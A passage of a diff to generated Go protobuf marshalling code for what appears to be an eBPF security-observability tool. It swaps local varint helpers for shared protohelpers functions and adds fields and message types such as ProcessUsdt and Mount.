m.ReturnAction != 0 { - i = encodeVarint(dAtA, i, uint64(m.ReturnAction)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.ReturnAction)) i-- dAtA[i] = 0x48 } if len(m.PolicyName) > 0 { i -= len(m.PolicyName) copy(dAtA[i:], m.PolicyName) - i = encodeVarint(dAtA, i, uint64(len(m.PolicyName))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.PolicyName))) i-- dAtA[i] = 0x42 } @@ -3349,13 +3414,13 @@ func (m *ProcessKprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x3a } } if m.Action != 0 { - i = encodeVarint(dAtA, i, uint64(m.Action)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Action)) i-- dAtA[i] = 0x30 } @@ -3365,7 +3430,7 @@ func (m *ProcessKprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x2a } @@ -3376,7 +3441,7 @@ func (m *ProcessKprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x22 } @@ -3384,7 +3449,7 @@ func (m *ProcessKprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.FunctionName) > 0 { i -= len(m.FunctionName) copy(dAtA[i:], m.FunctionName) - i = encodeVarint(dAtA, i, uint64(len(m.FunctionName))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.FunctionName))) i-- dAtA[i] = 0x1a } @@ -3394,7 +3459,7 @@ func (m *ProcessKprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } @@ -3404,7 +3469,7 @@ func (m *ProcessKprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -3448,7 +3513,7 @@ func (m *ProcessTracepoint) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x5a } @@ -3457,7 +3522,7 @@ func (m *ProcessTracepoint) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.Tags) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.Tags[iNdEx]) copy(dAtA[i:], m.Tags[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.Tags[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Tags[iNdEx]))) i-- dAtA[i] = 0x52 } @@ -3465,19 +3530,19 @@ func (m *ProcessTracepoint) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Message) > 0 { i -= len(m.Message) copy(dAtA[i:], m.Message) - i = encodeVarint(dAtA, i, uint64(len(m.Message))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Message))) i-- dAtA[i] = 0x4a } if m.Action != 0 { - i = encodeVarint(dAtA, i, uint64(m.Action)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Action)) i-- dAtA[i] = 0x40 } if len(m.PolicyName) > 0 { i -= len(m.PolicyName) copy(dAtA[i:], m.PolicyName) - i = encodeVarint(dAtA, i, uint64(len(m.PolicyName))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.PolicyName))) i-- dAtA[i] = 0x3a } @@ -3488,7 +3553,7 @@ func (m *ProcessTracepoint) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x32 } @@ -3496,14 +3561,14 @@ func (m *ProcessTracepoint) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Event) > 0 { i -= len(m.Event) copy(dAtA[i:], m.Event) - i = encodeVarint(dAtA, i, uint64(len(m.Event))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Event))) i-- dAtA[i] = 0x2a } if len(m.Subsys) > 0 { i -= len(m.Subsys) copy(dAtA[i:], m.Subsys) - i = encodeVarint(dAtA, i, uint64(len(m.Subsys))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Subsys))) i-- dAtA[i] = 0x22 } @@ -3513,7 +3578,7 @@ func (m *ProcessTracepoint) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } @@ -3523,7 +3588,7 @@ func (m *ProcessTracepoint) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -3560,13 +3625,30 @@ func (m *ProcessUprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } + if len(m.Data) > 0 { + for iNdEx := len(m.Data) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Data[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x6a + } + } + if m.Action != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Action)) + i-- + dAtA[i] = 0x60 + } if m.RefCtrOffset != 0 { - i = encodeVarint(dAtA, i, uint64(m.RefCtrOffset)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.RefCtrOffset)) i-- dAtA[i] = 0x58 } if m.Offset != 0 { - i = encodeVarint(dAtA, i, uint64(m.Offset)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Offset)) i-- dAtA[i] = 0x50 } @@ -3577,7 +3659,7 @@ func (m *ProcessUprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x4a } @@ -3586,7 +3668,7 @@ func (m *ProcessUprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.Tags) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.Tags[iNdEx]) copy(dAtA[i:], m.Tags[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.Tags[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Tags[iNdEx]))) i-- dAtA[i] = 0x42 } @@ -3598,7 +3680,7 @@ func (m *ProcessUprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x3a } @@ -3606,28 +3688,161 @@ func (m *ProcessUprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Message) > 0 { i -= len(m.Message) copy(dAtA[i:], m.Message) - i = encodeVarint(dAtA, i, uint64(len(m.Message))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Message))) i-- dAtA[i] = 0x32 } if len(m.PolicyName) > 0 { i -= len(m.PolicyName) copy(dAtA[i:], m.PolicyName) - i = encodeVarint(dAtA, i, uint64(len(m.PolicyName))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.PolicyName))) i-- dAtA[i] = 0x2a } if len(m.Symbol) > 0 { i -= len(m.Symbol) copy(dAtA[i:], m.Symbol) - i = encodeVarint(dAtA, i, uint64(len(m.Symbol))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Symbol))) + i-- + dAtA[i] = 0x22 + } + if len(m.Path) > 0 { + i -= len(m.Path) + copy(dAtA[i:], m.Path) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Path))) + i-- + dAtA[i] = 0x1a + } + if m.Parent != nil { + size, err := m.Parent.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if m.Process != nil { + size, err := m.Process.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ProcessUsdt) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ProcessUsdt) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ProcessUsdt) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Flags) > 0 { + i -= len(m.Flags) + copy(dAtA[i:], m.Flags) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Flags))) + i-- + dAtA[i] = 0x62 + } + if m.Action != 0 { + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Action)) + i-- + dAtA[i] = 0x58 + } + if len(m.Ancestors) > 0 { + for iNdEx := len(m.Ancestors) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Ancestors[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x52 + } + } + if len(m.Tags) > 0 { + for iNdEx := len(m.Tags) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Tags[iNdEx]) + copy(dAtA[i:], m.Tags[iNdEx]) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Tags[iNdEx]))) + i-- + dAtA[i] = 0x4a + } + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Args[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x42 + } + } + if len(m.Message) > 0 { + i -= len(m.Message) + copy(dAtA[i:], m.Message) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Message))) + i-- + dAtA[i] = 0x3a + } + if len(m.PolicyName) > 0 { + i -= len(m.PolicyName) + copy(dAtA[i:], m.PolicyName) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.PolicyName))) + i-- + dAtA[i] = 0x32 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0x2a + } + if len(m.Provider) > 0 { + i -= len(m.Provider) + copy(dAtA[i:], m.Provider) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Provider))) i-- dAtA[i] = 0x22 } if len(m.Path) > 0 { i -= len(m.Path) copy(dAtA[i:], m.Path) - i = encodeVarint(dAtA, i, uint64(len(m.Path))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Path))) i-- dAtA[i] = 0x1a } @@ -3637,7 +3852,7 @@ func (m *ProcessUprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } @@ -3647,7 +3862,7 @@ func (m *ProcessUprobe) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -3687,7 +3902,7 @@ func (m *ProcessLsm) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.ImaHash) > 0 { i -= len(m.ImaHash) copy(dAtA[i:], m.ImaHash) - i = encodeVarint(dAtA, i, uint64(len(m.ImaHash))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ImaHash))) i-- dAtA[i] = 0x5a } @@ -3698,7 +3913,7 @@ func (m *ProcessLsm) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x52 } @@ -3707,13 +3922,13 @@ func (m *ProcessLsm) MarshalToSizedBufferVT(dAtA []byte) (int, error) { for iNdEx := len(m.Tags) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.Tags[iNdEx]) copy(dAtA[i:], m.Tags[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.Tags[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Tags[iNdEx]))) i-- dAtA[i] = 0x4a } } if m.Action != 0 { - i = encodeVarint(dAtA, i, uint64(m.Action)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Action)) i-- dAtA[i] = 0x40 } @@ -3724,7 +3939,7 @@ func (m *ProcessLsm) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x3a } @@ -3732,21 +3947,21 @@ func (m *ProcessLsm) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Message) > 0 { i -= len(m.Message) copy(dAtA[i:], m.Message) - i = encodeVarint(dAtA, i, uint64(len(m.Message))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Message))) i-- dAtA[i] = 0x32 } if len(m.PolicyName) > 0 { i -= len(m.PolicyName) copy(dAtA[i:], m.PolicyName) - i = encodeVarint(dAtA, i, uint64(len(m.PolicyName))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.PolicyName))) i-- dAtA[i] = 0x2a } if len(m.FunctionName) > 0 { i -= len(m.FunctionName) copy(dAtA[i:], m.FunctionName) - i = encodeVarint(dAtA, i, uint64(len(m.FunctionName))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.FunctionName))) i-- dAtA[i] = 0x1a } @@ -3756,7 +3971,7 @@ func (m *ProcessLsm) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } @@ -3766,7 +3981,7 @@ func (m *ProcessLsm) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -3806,7 +4021,7 @@ func (m *KernelModule) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Tainted) > 0 { var pksize2 int for _, num := range m.Tainted { - pksize2 += sov(uint64(num)) + pksize2 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize2 j1 := i @@ -3820,36 +4035,24 @@ func (m *KernelModule) MarshalToSizedBufferVT(dAtA []byte) (int, error) { dAtA[j1] = uint8(num) j1++ } - i = encodeVarint(dAtA, i, uint64(pksize2)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize2)) i-- dAtA[i] = 0x1a } if m.SignatureOk != nil { - if vtmsg, ok := interface{}(m.SignatureOk).(interface { - MarshalToSizedBufferVT([]byte) (int, error) - }); ok { - size, err := vtmsg.MarshalToSizedBufferVT(dAtA[:i]) - if err != nil { - return 0, err - } - i -= size - i = encodeVarint(dAtA, i, uint64(size)) - } else { - encoded, err := proto.Marshal(m.SignatureOk) - if err != nil { - return 0, err - } - i -= len(encoded) - copy(dAtA[i:], encoded) - i = encodeVarint(dAtA, i, uint64(len(encoded))) + size, err := (*wrapperspb.BoolValue)(m.SignatureOk).MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 } if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0xa } @@ -3887,22 +4090,22 @@ func (m *Test) MarshalToSizedBufferVT(dAtA []byte) (int, error) { copy(dAtA[i:], m.unknownFields) } if m.Arg3 != 0 { - i = encodeVarint(dAtA, i, uint64(m.Arg3)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Arg3)) i-- dAtA[i] = 0x20 } if m.Arg2 != 0 { - i = encodeVarint(dAtA, i, uint64(m.Arg2)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Arg2)) i-- dAtA[i] = 0x18 } if m.Arg1 != 0 { - i = encodeVarint(dAtA, i, uint64(m.Arg1)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Arg1)) i-- dAtA[i] = 0x10 } if m.Arg0 != 0 { - i = encodeVarint(dAtA, i, uint64(m.Arg0)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Arg0)) i-- dAtA[i] = 0x8 } @@ -3942,7 +4145,7 @@ func (m *GetHealthStatusRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error if len(m.EventSet) > 0 { var pksize2 int for _, num := range m.EventSet { - pksize2 += sov(uint64(num)) + pksize2 += protohelpers.SizeOfVarint(uint64(num)) } i -= pksize2 j1 := i @@ -3956,7 +4159,7 @@ func (m *GetHealthStatusRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error dAtA[j1] = uint8(num) j1++ } - i = encodeVarint(dAtA, i, uint64(pksize2)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(pksize2)) i-- dAtA[i] = 0xa } @@ -3996,17 +4199,17 @@ func (m *HealthStatus) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Details) > 0 { i -= len(m.Details) copy(dAtA[i:], m.Details) - i = encodeVarint(dAtA, i, uint64(len(m.Details))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Details))) i-- dAtA[i] = 0x1a } if m.Status != 0 { - i = encodeVarint(dAtA, i, uint64(m.Status)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Status)) i-- dAtA[i] = 0x10 } if m.Event != 0 { - i = encodeVarint(dAtA, i, uint64(m.Event)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Event)) i-- dAtA[i] = 0x8 } @@ -4050,7 +4253,7 @@ func (m *GetHealthStatusResponse) MarshalToSizedBufferVT(dAtA []byte) (int, erro return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -4088,17 +4291,39 @@ func (m *ProcessLoader) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } + if len(m.Ancestors) > 0 { + for iNdEx := len(m.Ancestors) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Ancestors[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x2a + } + } + if m.Parent != nil { + size, err := m.Parent.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x22 + } if len(m.Buildid) > 0 { i -= len(m.Buildid) copy(dAtA[i:], m.Buildid) - i = encodeVarint(dAtA, i, uint64(len(m.Buildid))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Buildid))) i-- dAtA[i] = 0x1a } if len(m.Path) > 0 { i -= len(m.Path) copy(dAtA[i:], m.Path) - i = encodeVarint(dAtA, i, uint64(len(m.Path))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Path))) i-- dAtA[i] = 0x12 } @@ -4108,7 +4333,7 @@ func (m *ProcessLoader) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -4170,7 +4395,11 @@ func (m *RuntimeHookRequest_CreateContainer) MarshalToSizedBufferVT(dAtA []byte) return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } else { + i = protohelpers.EncodeVarint(dAtA, i, 0) i-- dAtA[i] = 0xa } @@ -4209,7 +4438,7 @@ func (m *RuntimeHookResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return len(dAtA) - i, nil } -func (m *CreateContainer) MarshalVT() (dAtA []byte, err error) { +func (m *Mount) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil } @@ -4222,12 +4451,12 @@ func (m *CreateContainer) MarshalVT() (dAtA []byte, err error) { return dAtA[:n], nil } -func (m *CreateContainer) MarshalToVT(dAtA []byte) (int, error) { +func (m *Mount) MarshalToVT(dAtA []byte) (int, error) { size := m.SizeVT() return m.MarshalToSizedBufferVT(dAtA[:size]) } -func (m *CreateContainer) MarshalToSizedBufferVT(dAtA []byte) (int, error) { +func (m *Mount) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if m == nil { return 0, nil } @@ -4239,45 +4468,120 @@ func (m *CreateContainer) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } - if len(m.ContainerImage) > 0 { - i -= len(m.ContainerImage) - copy(dAtA[i:], m.ContainerImage) - i = encodeVarint(dAtA, i, uint64(len(m.ContainerImage))) - i-- - dAtA[i] = 0x4a + if len(m.Options) > 0 { + for iNdEx := len(m.Options) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Options[iNdEx]) + copy(dAtA[i:], m.Options[iNdEx]) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Options[iNdEx]))) + i-- + dAtA[i] = 0x22 + } } - if len(m.PodNamespace) > 0 { - i -= len(m.PodNamespace) - copy(dAtA[i:], m.PodNamespace) - i = encodeVarint(dAtA, i, uint64(len(m.PodNamespace))) + if len(m.Source) > 0 { + i -= len(m.Source) + copy(dAtA[i:], m.Source) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Source))) i-- - dAtA[i] = 0x42 + dAtA[i] = 0x1a } - if len(m.PodUID) > 0 { - i -= len(m.PodUID) - copy(dAtA[i:], m.PodUID) - i = encodeVarint(dAtA, i, uint64(len(m.PodUID))) + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Type))) i-- - dAtA[i] = 0x3a + dAtA[i] = 0x12 } - if len(m.PodName) > 0 { - i -= len(m.PodName) - copy(dAtA[i:], m.PodName) - i = encodeVarint(dAtA, i, uint64(len(m.PodName))) + if len(m.Destination) > 0 { + i -= len(m.Destination) + copy(dAtA[i:], m.Destination) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Destination))) i-- - dAtA[i] = 0x32 + dAtA[i] = 0xa } - if len(m.ContainerID) > 0 { - i -= len(m.ContainerID) - copy(dAtA[i:], m.ContainerID) - i = encodeVarint(dAtA, i, uint64(len(m.ContainerID))) + return len(dAtA) - i, nil +} + +func (m *CreateContainer) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *CreateContainer) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *CreateContainer) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Mounts) > 0 { + for iNdEx := len(m.Mounts) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Mounts[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x52 + } + } + if len(m.ContainerImage) > 0 { + i -= len(m.ContainerImage) + copy(dAtA[i:], m.ContainerImage) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ContainerImage))) + i-- + dAtA[i] = 0x4a + } + if len(m.PodNamespace) > 0 { + i -= len(m.PodNamespace) + copy(dAtA[i:], m.PodNamespace) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.PodNamespace))) + i-- + dAtA[i] = 0x42 + } + if len(m.PodUID) > 0 { + i -= len(m.PodUID) + copy(dAtA[i:], m.PodUID) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.PodUID))) + i-- + dAtA[i] = 0x3a + } + if len(m.PodName) > 0 { + i -= len(m.PodName) + copy(dAtA[i:], m.PodName) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.PodName))) + i-- + dAtA[i] = 0x32 + } + if len(m.ContainerID) > 0 { + i -= len(m.ContainerID) + copy(dAtA[i:], m.ContainerID) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ContainerID))) i-- dAtA[i] = 0x2a } if len(m.ContainerName) > 0 { i -= len(m.ContainerName) copy(dAtA[i:], m.ContainerName) - i = encodeVarint(dAtA, i, uint64(len(m.ContainerName))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.ContainerName))) i-- dAtA[i] = 0x22 } @@ -4287,15 +4591,15 @@ func (m *CreateContainer) MarshalToSizedBufferVT(dAtA []byte) (int, error) { baseI := i i -= len(v) copy(dAtA[i:], v) - i = encodeVarint(dAtA, i, uint64(len(v))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(v))) i-- dAtA[i] = 0x12 i -= len(k) copy(dAtA[i:], k) - i = encodeVarint(dAtA, i, uint64(len(k))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(k))) i-- dAtA[i] = 0xa - i = encodeVarint(dAtA, i, uint64(baseI-i)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(baseI-i)) i-- dAtA[i] = 0x1a } @@ -4303,14 +4607,14 @@ func (m *CreateContainer) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.RootDir) > 0 { i -= len(m.RootDir) copy(dAtA[i:], m.RootDir) - i = encodeVarint(dAtA, i, uint64(len(m.RootDir))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.RootDir))) i-- dAtA[i] = 0x12 } if len(m.CgroupsPath) > 0 { i -= len(m.CgroupsPath) copy(dAtA[i:], m.CgroupsPath) - i = encodeVarint(dAtA, i, uint64(len(m.CgroupsPath))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.CgroupsPath))) i-- dAtA[i] = 0xa } @@ -4350,41 +4654,30 @@ func (m *StackTraceEntry) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Module) > 0 { i -= len(m.Module) copy(dAtA[i:], m.Module) - i = encodeVarint(dAtA, i, uint64(len(m.Module))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Module))) i-- dAtA[i] = 0x22 } if len(m.Symbol) > 0 { i -= len(m.Symbol) copy(dAtA[i:], m.Symbol) - i = encodeVarint(dAtA, i, uint64(len(m.Symbol))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Symbol))) i-- dAtA[i] = 0x1a } if m.Offset != 0 { - i = encodeVarint(dAtA, i, uint64(m.Offset)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Offset)) i-- dAtA[i] = 0x10 } if m.Address != 0 { - i = encodeVarint(dAtA, i, uint64(m.Address)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Address)) i-- dAtA[i] = 0x8 } return len(dAtA) - i, nil } -func encodeVarint(dAtA []byte, offset int, v uint64) int { - offset -= sov(v) - base := offset - for v >= 1<<7 { - dAtA[offset] = uint8(v&0x7f | 0x80) - v >>= 7 - offset++ - } - dAtA[offset] = uint8(v) - return base -} func (m *Image) SizeVT() (n int) { if m == nil { return 0 @@ -4393,11 +4686,11 @@ func (m *Image) SizeVT() (n int) { _ = l l = len(m.Id) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + 